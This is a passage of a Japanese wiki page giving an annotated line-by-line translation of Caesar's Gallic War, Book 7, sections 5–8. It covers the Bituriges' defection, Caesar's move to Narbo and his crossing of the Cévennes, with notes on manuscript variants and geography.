**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：「軍隊」と訳される [[wikt:en:exercitus#Noun|exercitus]] には「鍛えられて規律がある」という意味合いがあり、&lt;br&gt;　　　　これまでカエサルがガッリア人の軍勢をこのように表現したことはまれであった。）&lt;/span&gt;
*[[wikt:en:Lucterius#Latin|Lucterium]] [[wikt:en:Cadurcus#Latin|Cadurcum]], [[wikt:en:summus#Latin|summae]] hominem [[wikt:en:audacia#Latin|audaciae]], 
**この上なく豪胆な人物であるカドゥルキー族のルクテリウスを
*cum parte [[wikt:en:copiarum#Noun_2|copiarum]] in [[wikt:en:Ruteni#Latin|Rutenos]] [[wikt:en:mittit|mittit]]; 
**軍勢の一部とともにルテーニー族のところに遣わす。
*ipse in [[wikt:en:Bituriges#Latin|Bituriges]] [[wikt:en:proficiscitur|proficiscitur]]. 
**&lt;small&gt;（ウェルキンゲトリークス）&lt;/small&gt;自身はビトゥリゲース族のところに出発する。
:　
;　　　ビトゥリゲース族が、ハエドゥイー族に、対ウェルキンゲトリークスのための援兵を依頼
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; Eius [[wikt:en:adventus#Latin|adventu]] 
**彼&lt;small&gt;〔ウェルキンゲトリークス〕&lt;/small&gt;の到来により、
*[[wikt:en:Bituriges#Latin|Bituriges]] ad [[wikt:en:Aeduos|Haeduos]], quorum erant in [[wikt:en:fides#Latin|fide]], 
**ビトゥリゲース族は、彼らが庇護下にあった[[w:ハエドゥイ族|ハエドゥイー族]]のもとへ、
*[[wikt:en:legatus#Latin|legatos]] [[wikt:en:mittunt|mittunt]] [[wikt:en:subsidium#Latin|subsidium]] [[wikt:en:rogatum#Verb|rogatum]], 
**使節たちを、&lt;small&gt;（ハエドゥイー族からの）&lt;/small&gt;援兵を依頼するために派遣する。
*[[wikt:en:quo#Adverb|quo]] [[wikt:en:facile#Latin|facilius]] hostium copias [[wikt:en:sustinere|sustinere]] [[wikt:en:possint|possint]]. 
**それにより、敵の軍勢をより容易に持ちこたえることができるようにということであった。
:　
;　　　ハエドゥイー族が、ビトゥリゲース族に対して援兵を派兵
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; [[wikt:en:Aedui#Latin|Haedui]] de [[wikt:en:consilium#Latin|consilio]] [[wikt:en:legatus#Latin|legatorum]], quos Caesar ad [[wikt:en:exercitus#Noun|exercitum]] [[wikt:en:reliquerat|reliquerat]], 
**[[w:ハエドゥイ族|ハエドゥイー族]]は、カエサルが軍隊のもとへ残していた&lt;ruby&gt;&lt;rb&gt;[[w:レガトゥス|総督副官]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;レーガートゥス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;たちの助言により、
*copias [[wikt:en:equitatus#Noun|equitatus]] [[wikt:en:peditatus#Latin|peditatus]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:subsidium#Latin|subsidio]] [[wikt:en:Bituriges#Latin|Biturigibus]] [[wikt:en:mittunt|mittunt]]. 
**[[w:騎兵|騎兵隊]]と[[w:歩兵|歩兵隊]]の軍勢をビトゥリゲース族に対する援兵として派遣する。
:　
;　　　ハエドゥイー族の援兵が、ビトゥリゲース族の寝返りを怖れて、途中で逃げ帰ってしまう
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; Qui cum ad flumen [[wikt:en:Liger#Latin|Ligerim]] [[wikt:en:venissent|venissent]], quod [[wikt:en:Bituriges#Latin|Bituriges]] ab [[wikt:en:Aeduis|Haeduis]] [[wikt:en:dividit#Latin|dividit]], 
**その者たち&lt;small&gt;〔援兵〕&lt;/small&gt;は、ビトゥリゲース族を[[w:ハエドゥイ族|ハエドゥイー族]]から分け隔てるリゲル川のたもとへやって来たときに、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：リゲル川 [[w:la:Liger|Liger]] は、現在の[[w:ロワール川|ロワール川]]。&lt;br&gt;　　　　本書に登場するビトゥリゲース・クビ族 ''[[w:en:Bituriges Cubi|Bituriges Cubi]]'' は、&lt;br&gt;　　　　　ロワール川西岸の[[w:シェール県|シェール県]]の辺りに居住していた。&lt;br&gt;　　　　対して、[[w:ハエドゥイ族|ハエドゥイー族]]は、&lt;br&gt;　　　　　ロワール川東岸の[[w:ニエーヴル県|ニエーヴル県]]の辺りに居住していた。）&lt;/span&gt;
[[画像:Map of Eduens people-fr.svg|thumb|right|250px|[[w:ハエドゥイ族|ハエドゥイー族]]を軸とするガッリアの合従連衡（&lt;small&gt;フランス語表記&lt;/small&gt;）。赤い部分がハエドゥイー族（Eduens）、桃色・茶色の部分が同盟部族、灰色の部分が敵対する[[w:アルウェルニ族|アルウェルニー族]]（Arvernes）とセクアニ族（Sequanes）の領域である。茶色のビトゥリゲース族（Bituriges）と赤いハエドゥイー族（Eduens）の境界に沿ってリゲル川（[[w:ロワール川|ロワール川]]）が流れていることが見て取れる。川の西岸はビトゥリゲース族とアルウェルニー族の勢力圏になっている。]]
*paucos dies ibi [[wikt:en:moratus#Participle|morati]] 
**わずかな日々をそこでぐずぐずして、
*neque flumen [[wikt:en:transire#Latin|transire]] [[wikt:en:ausus#Participle|ausi]] [[wikt:en:domus#Latin|domum]] [[wikt:en:revertuntur|revertuntur]] 
**川をあえて渡らずに、故国に引き返す。
:　
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; [[wikt:en:legatus#Latin|legatis]]&lt;nowiki&gt;que&lt;/nowiki&gt; nostris [[wikt:en:renuntiant|renuntiant]] 
**&lt;small&gt;（ハエドゥイー族の援兵たちが）&lt;/small&gt;我が方&lt;small&gt;〔ローマ方〕&lt;/small&gt;の&lt;ruby&gt;&lt;rb&gt;[[w:レガトゥス|総督副官]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;レーガートゥス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;たちに報告したことには、
*se [[wikt:en:Bituriges#Latin|Biturigum]] [[wikt:en:perfidia#Latin|perfidiam]] [[wikt:en:veritus#Latin|veritos]] [[wikt:en:revertisse|revertisse]], 
**自分たち&lt;small&gt;〔援兵〕&lt;/small&gt;は、ビトゥリゲース族の寝返りを恐れて引き返した。
*quibus id [[wikt:en:consilium#Latin|consilii]] fuisse [[wikt:en:cognoverint|cognoverint]], 
**彼らには、以下のような謀計があったことを探知したのだ。
*ut, si flumen [[wikt:en:transissent#Latin|transissent]], una ex parte ipsi, altera [[wikt:en:Arverni#Latin|Arverni]] se [[wikt:en:circumsisterent|circumsisterent]]. 
**もし川を渡ったら、一方から&lt;small&gt;（ビトゥリゲース族）&lt;/small&gt;自身が、他方から[[w:アルウェルニ族|アルウェルニー族]]が自分たちを包囲するというものだ、と。
:　
*&lt;!--❻--&gt;&lt;sup&gt;(6)&lt;/sup&gt; Id ea&lt;span style=&quot;background-color:#ffa;&quot;&gt;[[wikt:la:-ne|ne]]&lt;/span&gt; de causa, quam [[wikt:en:legatus#Latin|legatis]] &lt;u&gt;pronuntiarunt&lt;/u&gt;, 
**そのことは&lt;small&gt;（援兵たちが）&lt;/small&gt;&lt;ruby&gt;&lt;rb&gt;[[w:レガトゥス|総督副官]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;レーガートゥス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;たちに報告した理由によって&lt;small&gt;（なしたのか？）&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:-ne#Latin|-ne]] ～ [[wikt:en:an#Latin|an]] …；～であるか、あるいは…であるか。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部の [[wikt:en:pronuntiarunt|pronuntiarunt]]&lt;sub&gt;&amp;nbsp;(直接法･完了形)&lt;/sub&gt; は古い印刷本 ''[[ガリア戦記/注解編/写本と校訂版#クリティカル・アパラトゥスとその略号|edd.vett.]]'' の記述で、&lt;br&gt;　　　　　　　　&amp;alpha;系写本では [[wikt:en:pronuntiarint|pronuntiarint]]&lt;sub&gt;&amp;nbsp;(接続法･完了形)&lt;/sub&gt; だが、&lt;br&gt;　　　　　　　　&amp;beta;系写本では [[wikt:en:pronuntiaverint|pronuntia&lt;u&gt;ve&lt;/u&gt;rint]]&lt;sub&gt;&amp;nbsp;(接続法･完了形)&lt;/sub&gt; となっている。）&lt;/span&gt;
*&lt;span style=&quot;background-color:#ffa;&quot;&gt;[[wikt:la:an|an]]&lt;/span&gt; [[wikt:en:perfidia#Latin|perfidia]] [[wikt:en:adductus#Latin|adducti]] [[wikt:en:fecerint|fecerint]], 
**あるいは&lt;small&gt;（ビドゥリゲース族の）&lt;/small&gt;寝返りに動かされて、なしたのか？
*[[wikt:en:quod#Conjunction|quod]] [[wikt:en:nihil#Latin|nihil]] nobis [[wikt:en:constat#Latin|constat]], 
**我々&lt;small&gt;〔ローマ人〕&lt;/small&gt;には何ら定かではないので、
*non [[wikt:en:videtur|videtur]] pro [[wikt:en:certus#Latin|certo]] esse &lt;u&gt;proponendum&lt;/u&gt;. 
**確言するべきであるとは思われない。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：～ pro certo ponere；～を確かであると主張する）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:proponendum|&lt;u&gt;pro&lt;/u&gt;ponendum]] だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:ponendum|ponendum]] となっている。）&lt;/span&gt;
:　&lt;!--　[[wikt:en:|　--&gt;
;　　　ビトゥリゲース族が、ローマ人やハエドゥイー族から離反して、アルウェルニー族と同盟してしまう
*&lt;!--❼--&gt;&lt;sup&gt;(7)&lt;/sup&gt; [[wikt:en:Bituriges#Latin|Bituriges]] eorum [[wikt:en:discessus#Noun|discessu]] 
**ビトゥリゲース族は、彼ら&lt;small&gt;〔援兵〕&lt;/small&gt;の撤収により、
*[[wikt:en:statim#Latin|statim]] &lt;u&gt;se&lt;/u&gt; cum [[wikt:en:Arverni#Latin|Arvernis]] &lt;u&gt;coniunguntur&lt;/u&gt;.
**ただちに[[w:アルウェルニ族|アルウェルニー族]]と&lt;small&gt;（同盟を）&lt;/small&gt;結んだ。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:iunguntur|iunguntur]] だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では se ～ [[wikt:en:coniungunt|coniungunt]] となっている。）&lt;/span&gt;
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===6節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/6節]]　{{進捗|00%|2025-12-15}}&lt;/span&gt;
[[画像:Warsaw Royal Castle GM (12).JPG|thumb|right|200px|[[w:グナエウス・ポンペイウス|グナエウス・ポンペイウス]]の立像（[[w:ワルシャワ歴史地区|ワルシャワ王宮]]）。彼は首都の騒乱を鎮めるために単独の[[w:執政官|執政官]]として大権を与えられ、イタリアの徴兵権を得た。[[w:三頭政治|三頭政治]]後のこの混乱期に、彼はカエサルの政敵たちからこぞって支持されたが、危機に瀕していたカエサルを打倒する絶好の機会を見送った。これは重大な逸機であり、数年後にポンペイウスにとって致命的な結果をもたらすことになる。]]
;諸軍団と分断されて苦慮するカエサル
:　
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; His rebus in Italiam Caesari [[wikt:en:nuntiatus#Latin|nuntiatis]], 
**これらの事情がイタリアにいるカエサルへ知らされると、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：ここでいうイタリアとは、&lt;br&gt;　　　　カエサルの属州[[w:ガリア・キサルピナ|ガッリア・キサルピーナ]]のことである。）&lt;/span&gt;
*cum iam ille [[wikt:en:urbanus#Latin|urbanas]] res [[wikt:en:virtus#Latin|virtute]] [[wikt:en:Gnaei#Latin|Gnaei]]&lt;sub&gt;&amp;nbsp;([[wikt:en:Cn.#Latin|Cn.]])&lt;/sub&gt; [[wikt:en:Pompeius#Proper_noun|Pompei]] [[wikt:en:commodior#Latin|commodiorem]] in [[wikt:en:status#Noun_11|statum]] [[wikt:en:pervenisse#Latin|pervenisse]] [[wikt:en:intellegeret|intellegeret]], 
**彼は、もはや都&lt;small&gt;〔[[w:ローマ|ローマ市]]〕&lt;/small&gt;の事態は[[w:グナエウス・ポンペイウス|グナエウス・ポンペイウス]]の果断さによってより相応な状態に至ったと認識したので、
*in [[wikt:en:Gallia_transalpina#Latin|Transalpinam Galliam]] [[wikt:en:profectus#Latin|profectus]] est. 
**ガッリア・トラーンサルピーナ&lt;small&gt;〔アルプスの向こう側のガッリア〕&lt;/small&gt;に出発した。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[#1節|1節]]②項で言及された Galliam Transalpinam は&lt;br&gt;　　　　アルプスの西側「長髪のガッリア」全般を指すと思われるが、&lt;br&gt;　　　　ここではどちらかといえば&lt;br&gt;　　　　ガッリア南部のローマ属州ガッリア・トラーンサルピーナ&lt;br&gt;　　　　すなわち後の[[w:ガリア・ナルボネンシス|ガッリア・ナルボーネーンスィス]]を指す。）&lt;/span&gt;
:　
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; [[wikt:en:eo#Adverb|Eo]] cum [[wikt:en:venisset|venisset]], 
**&lt;small&gt;（カエサルが）&lt;/small&gt;そこに来たときに、
*magna [[wikt:en:difficultas#Latin|difficultate]] [[wikt:en:adficiebatur|adficiebatur]], qua [[wikt:en:ratio#Latin|ratione]] ad [[wikt:en:exercitus#Noun|exercitum]] [[wikt:en:pervenire#Latin|pervenire]] [[wikt:en:posset#Latin|posset]]. 
**どのような方策で軍隊のもとへ到達することができるか、という大きな困難に苦悩させられていた。
:　
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; Nam, si [[wikt:en:legio#Latin|legiones]] in [[wikt:en:provincia#Latin|provinciam]] [[wikt:en:arcesseret|arcesseret]], 
**なぜなら、もし、諸[[w:ローマ軍団|軍団]]を属州&lt;small&gt;〔ガッリア・トラーンサルピーナ〕&lt;/small&gt;に呼び寄せるのならば、
*se [[wikt:en:absens#Latin|absente]] in [[wikt:en:iter#Latin|itinere]] [[wikt:en:proelium#Latin|proelio]] [[wikt:en:dimicaturus#Latin|dimicaturas]] [[wikt:en:intellegebat|intellegebat]]; 
**自分&lt;small&gt;〔カエサル〕&lt;/small&gt;が不在のままで、行軍中に戦闘を闘うことになるであろうと理解していた。
:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; si ipse ad exercitum [[wikt:en:contenderet|contenderet]], 
**もし&lt;small&gt;（カエサル）&lt;/small&gt;自身が&lt;small&gt;（大部隊の護衛なしで）&lt;/small&gt;軍隊のもとへ急いで行くのならば、
*&lt;u&gt;ne&lt;/u&gt; iis &lt;u&gt;quidem&lt;/u&gt; eo tempore qui quieti [[wikt:en:viderentur|viderentur]], 
**そのときには、中立を保っていると見られる者たちでさえも、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:iis#Latin|iis]] は&amp;beta;系写本の記述で、&amp;alpha;系写本では [[wikt:en:his#Latin|his]] となっている。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:ne quidem|ne ～ quidem]]「～でさえ…ない」）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:quietus#Latin|quietus, quieti]]「平和的な、中立的な」）&lt;/span&gt;
*suam [[wikt:en:salus#Latin|salutem]] [[wikt:en:recte#Latin|recte]] [[wikt:en:committi|committi]] [[wikt:en:videbat|videbat]]. 
**自分の身の安全を良く託されるとは思えなかったのだ。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：前年まで、すなわち第6巻までの戦争は主としてガッリア北部・中部などで闘われていたので、&lt;br&gt;　　　　[[ガリア戦記 第6巻#44節|第6巻44節]]で既述のように、ローマ諸軍団はガッリア北部・中部周辺に冬営させられていた。&lt;br&gt;　　　　今回は軍団が駐留していないガッリア中南部を中心に反乱が起こったので、&lt;br&gt;　　　　カエサルと諸軍団は分断された。&lt;br&gt;　　　　そのため、カエサルが大部隊の護衛なしで北上すれば、&lt;br&gt;　　　　同盟部族にさえ寝首を掻かれる怖れがあったのである。）
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===7節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/7節]]　{{進捗|00%|2025-12-19}}&lt;/span&gt;
;ルクテリウスとカエサルのナルボーをめぐる駆け引き
[[画像:Narbonne_panorama.jpg|thumb|right|300px|'''ナルボー'''（Narbo）すなわち現在の[[w:ナルボンヌ|ナルボンヌ市]]（Narbonne）の街並み。ローマ人が[[w:ドミティア街道|ドミティア街道]]の拠点として植民市'''コロニア・ナルボー・マルティウス'''（Colonia Narbo Martius）を建設し、後には[[w:ローマ内戦 (紀元前49年-紀元前45年)|ローマ内乱]]のときにもカエサル派の根拠地となった。その重要性から帝政期には州都に昇格し、[[w:属州|属州]]名も[[w:ガリア・ナルボネンシス|ガッリア・ナルボネンスィス]]に改められたほどである。]]
[[画像:Via_domitia_map600x600_(1).png|thumb|right|200px|[[w:ドミティア街道|ドミティア街道]]（Via Domitia）の経路。ローマ人によってイタリアと[[w:ヒスパニア|ヒスパーニア]]を結ぶ重要な街道として整備された。本節でカエサル側の軍勢が往復したのもこの街道である。]]
:　
;　　　カドゥルキー族のルクテリウスが、ルテーニー族を同盟に引き入れる
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; [[wikt:en:interim#Latin|Interim]] [[wikt:en:Lucterius#Latin|Lucterius]] [[wikt:en:Cadurcus#Latin|Cadurcus]] 
**その間に、カドゥルキー族のルクテリウスが
*in [[wikt:en:Ruteni#Latin|Rutenos]] [[wikt:en:missus#Participle|missus]] 
**ルテーニー族のところに遣わされて、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[#5節|5節]]の冒頭で述べられた。&lt;br&gt;　　　　ルテーニー族 ''[[w:en:Ruteni|Ruteni]]'' は現在の[[w:アヴェロン県|アヴェロン県]]の&lt;br&gt;　　　　[[w:ロデーズ|ロデーズ]]辺りにいたとされる。）&lt;/span&gt;
*eam [[wikt:en:civitas#Latin|civitatem]] [[wikt:en:Arverni#Latin|Arvernis]] [[wikt:en:conciliat|conciliat]]. 
**その部族に[[w:アルウェルニ族|アルウェルニー族]]との仲を取り持つ。
:　
;　　　ルクテリウスが、ローマ属州内の拠点都市ナルボーを目指す
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; [[wikt:en:progressus#Participle|Progressus]] in [[wikt:en:Nitiobriges#Latin|Nitiobriges]] et [[wikt:en:Gabali#Latin|Gabalos]] 
**&lt;small&gt;（彼は）&lt;/small&gt;ニティオブリゲース族とガバリー族のところに進んで行き、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：ニティオブリゲース族&lt;br&gt;　　　　　またはニティオブロゲース族 ''[[w:en:Nitiobroges|Nitiobroges]]'' は&lt;br&gt;　　　　　現在の[[w:ロット＝エ＝ガロンヌ県|ロット＝エ＝ガロンヌ県]][[w:アジャン|アジャン]]辺り、&lt;br&gt;　　　　ガバリー族 ''[[w:en:Gabali|Gabali]]'' は現在の[[w:ロゼール県|ロゼール県]]辺りにいたらしい。）&lt;/span&gt;
*ab [[wikt:en:uterque#Latin|utrisque]] [[wikt:en:obses#Latin|obsides]] [[wikt:en:accipit|accipit]] 
**双方から人質たちを受け取って、
*et, magna [[wikt:en:coactus#Latin|coacta]] [[wikt:en:manus#Latin|manu]], 
**多くの手勢を徴集すると、
*in [[wikt:en:provincia#Latin|provinciam]] [[wikt:en:Narbo#Latin|Narbonem]] [[wikt:en:versus#Latin|versus]] [[wikt:en:eruptio#Latin|eruptionem]] facere [[wikt:en:contendit|contendit]]. 
**&lt;small&gt;（ローマ人の）&lt;/small&gt;[[w:属州|属州]]内のナルボーに向かって出撃することを急ぐ。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：ナルボー [[w:la:Narbo|Narbo]] は、ローマ人が建設した地中海岸の植民市で、&lt;br&gt;　　　　ヒスパーニアとイタリアを結ぶ拠点であった。&lt;br&gt;　　　　現在の[[w:ナルボンヌ|ナルボンヌ]]。）&lt;/span&gt;
:　
;　　　カエサルもナルボーを目指す
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; Qua re [[wikt:en:untiatus#Latin|nuntiata]] 
**その事を報告されると、
*Caesar omnibus [[wikt:en:consilium#Latin|consiliis]] [[wikt:en:antevertendus#Latin|antevertendum]] &lt;span style=&quot;color:#009900;font-size:8pt;&quot;&gt;(esse)&lt;/span&gt; [[wikt:en:existimavit|existimavit]], ut [[wikt:en:Narbo#Latin|Narbonem]] [[wikt:en:proficisceretur|proficisceretur]]. 
**カエサルは、ナルボーに出発することを、あらゆる計画に先立ってするべきであると考えた。
:　
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; [[wikt:en:eo#Adverb|Eo]] cum [[wikt:en:venisset|venisset]], 
**&lt;small&gt;（カエサルは）&lt;/small&gt;そこへやって来ると、
*[[wikt:en:timens#Latin|timentes]] [[wikt:en:confirmat#Latin|confirmat]], 
**&lt;ruby&gt;&lt;rb&gt;怖気&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;おじけ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;ている者たちを元気付けて、
*[[wikt:en:praesidium#Latin|praesidia]] 
**守備隊を
*in [[wikt:en:Ruteni#Latin|Rutenis]] [[wikt:en:provincialis#Latin|provincialibus]], [[wikt:en:Volcae#Latin|Volcis]] [[wikt:en:Arecomici#Latin|Arecomicis]], [[wikt:en:Tolosates#Latin|Tolosatibus]] 
**属州側のルテーニー族、[[w:ウォルカエ族|ウォルカエ]]・アレコミキー族、トローサーテース族&lt;small&gt;（らの領内）&lt;/small&gt;に、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：上述のように、属州外の&lt;u&gt;ルテーニー族&lt;/u&gt;は[[w:アルウェルニ族|アルウェルニー族]]と結んでいる。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[w:ウォルカエ族|ウォルカエ族]]は、西側に住むテクトサゲース族 ''[[w:en:Tectosages|Tectosages]]'' と&lt;br&gt;　　　　　　　　　　　　東側に住むアレコミキー族 ''[[w:en:Arecomici|Arecomici]]'' の2支族に分かれていた。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：トローサーテース族 ''[[w:fr:Tolosates|Tolosates]]'' は、ウォルカエ・テクトサゲース族の分派とされ、&lt;br&gt;　　　　　現在の[[w:トゥールーズ|トゥールーズ]]の近くにいたと考えられている。）&lt;/span&gt;
*[[wikt:en:circum#Preposition|circum]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:Narbo#Latin|Narbonem]], quae [[wikt:en:locum#Latin|loca]] hostibus erant [[wikt:en:finitimus#Latin|finitima]], 
**および敵方に隣接した地である[[w:ナルボンヌ|ナルボー]]周辺に
*[[wikt:en:constituit#Latin|constituit]]; 
**駐留させる。
:　
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; partem [[wikt:en:copiae#Noun_2|copiarum]] ex [[wikt:en:provincia#Latin|provincia]] 
**属州&lt;small&gt;〔ガッリア・トラーンサルピーナ〕&lt;/small&gt;からの軍勢の一部、
*[[wikt:en:supplementum#Latin|supplementum]]&lt;nowiki&gt;que&lt;/nowiki&gt;, quod ex Italia [[wikt:en:adduxerat|adduxerat]], 
**およびイタリアから率いて来た補充兵を
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：後者の補充兵 supplementum は、[[#1節|1節]]で既述のように、&lt;br&gt;　　　　[[w:ガリア・キサルピナ|ガッリア・キサルピーナ]]で徴募された軍団兵であろう。）&lt;/span&gt;
*in [[wikt:en:Helvii#Latin|Helvios]], qui fines [[wikt:en:Arverni#Latin|Arvernorum]] [[wikt:en:contingunt|contingunt]], 
**[[w:アルウェルニ族|アルウェルニー族]]の領土に接しているヘルウィイー族のところに
*[[wikt:en:convenire#Latin|convenire]] [[wikt:en:iubet#Latin|iubet]].
**集結することを命じる。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===8節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/8節]]　{{進捗|00%|2026-01-03}}&lt;/span&gt;
[[画像:Carte-cevennes-france.png|thumb|right|200px|フランスにおける[[w:中央高地 (フランス)|中央高地]]（Massif Central）とセヴェンヌ山地（Cévennes）の位置]]
[[画像:Col_de_legal.jpeg|thumb|right|200px|[[w:雪|雪]]に覆われた[[w:オーヴェルニュ地域圏|オーヴェルニュ高地]]。オーヴェルニュ（Auvergne）の名は[[w:アルウェルニ族|アルウェルニー族]]（Arverni）に由来する。]]
[[画像:Causse_Mejean_Evening.jpg|thumb|right|200px|城壁のように続くケウェンナ（セヴェンヌ）山地の断崖]]
[[画像:France_Massif_central.jpg|thumb|right|200px|[[w:アルウェルニ族|アルウェルニー族]]の勢力圏であった[[w:中央高地 (フランス)|中央高地]]（Massif Central）の領域（着色部分）。平野の多いフランスにおいて山塊としてそびえ立つ。]]
:　
;カエサルがケウェンナ山地を越えてアルウェルニー族の領内へ突入
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; His rebus [[wikt:en:comparatus#Latin|comparatis]], 
**これらの事が整えられて、
*[[wikt:en:repressus#Latin|represso]] iam [[wikt:en:Lucterius#Latin|Lucterio]] et [[wikt:en:remotus#Latin|remoto]], 
**&lt;small&gt;（カドゥルキー族の）&lt;/small&gt;ルクテリウスはすでに押し留められ、遠ざけられた。
*quod [[wikt:en:intrare#Latin|intrare]] intra [[wikt:en:praesidium#Latin|praesidia]] [[wikt:en:periculosus#Latin|periculosum]] [[wikt:en:putabat|putabat]], 
**──というのは&lt;small&gt;（ローマ人の）&lt;/small&gt;守備の範囲内に踏み込むことは危険なことであると&lt;small&gt;（ルクテリウスが）&lt;/small&gt;見なしていたからであるが、──
*in [[wikt:en:Helvii#Latin|Helvios]] [[wikt:en:proficiscitur|proficiscitur]]. 
**&lt;small&gt;（そこで、カエサルは）&lt;/small&gt;ヘルウィイー族のところに出発する。
:　
;　　　カエサルが、アルウェルニー族の要害ケウェンナ山を越える
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; &lt;u&gt;Etsi&lt;/u&gt; mons &lt;u&gt;Cevenna&lt;/u&gt;, qui [[wikt:en:Arverni#Latin|Arvernos]] ab [[wikt:en:Helvii#Latin|Helviis]] [[wikt:en:discludit|discludit]], 
**[[w:アルウェルニ族|アルウェルニー族]]をヘルウィイー族から隔てている&lt;u&gt;ケウェンナ山&lt;/u&gt;は、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：山の名は写本によって Cebenna または Cevenna となっており、&lt;br&gt;　　　　　[[w:ガイウス・プリニウス・セクンドゥス|大プリーニウス]]が記した [[wikt:en:Cebenna#Latin|Cebenna]] がガリア語に近いようである。&lt;br&gt;　　　　現在名はセヴェンヌ山地 Cévennes と呼ばれ、&lt;br&gt;　　　　　[[w:中央高地 (フランス)|フランス中央高地]]（Massif Central）の南東部にそそり立っている。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:etsi#Latin|etsi]] ～ [[wikt:en:tamen#Latin|tamen]] …「～としても、にもかかわらず…」）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:mons#Latin|mons]] は &amp;beta;系写本の記述で、&amp;alpha;系写本にはない。）&lt;/span&gt;
*[[wikt:en:durissimus#Latin|durissimo]] tempore anni 
**最も厳しい時季に
*[[wikt:en:altissimus#Latin|altissima]] [[wikt:en:nix#Latin|nive]] iter [[wikt:en:impediebat|impediebat]], 
**豪[[w:雪|雪]]によって道を閉ざしていたのであるが、
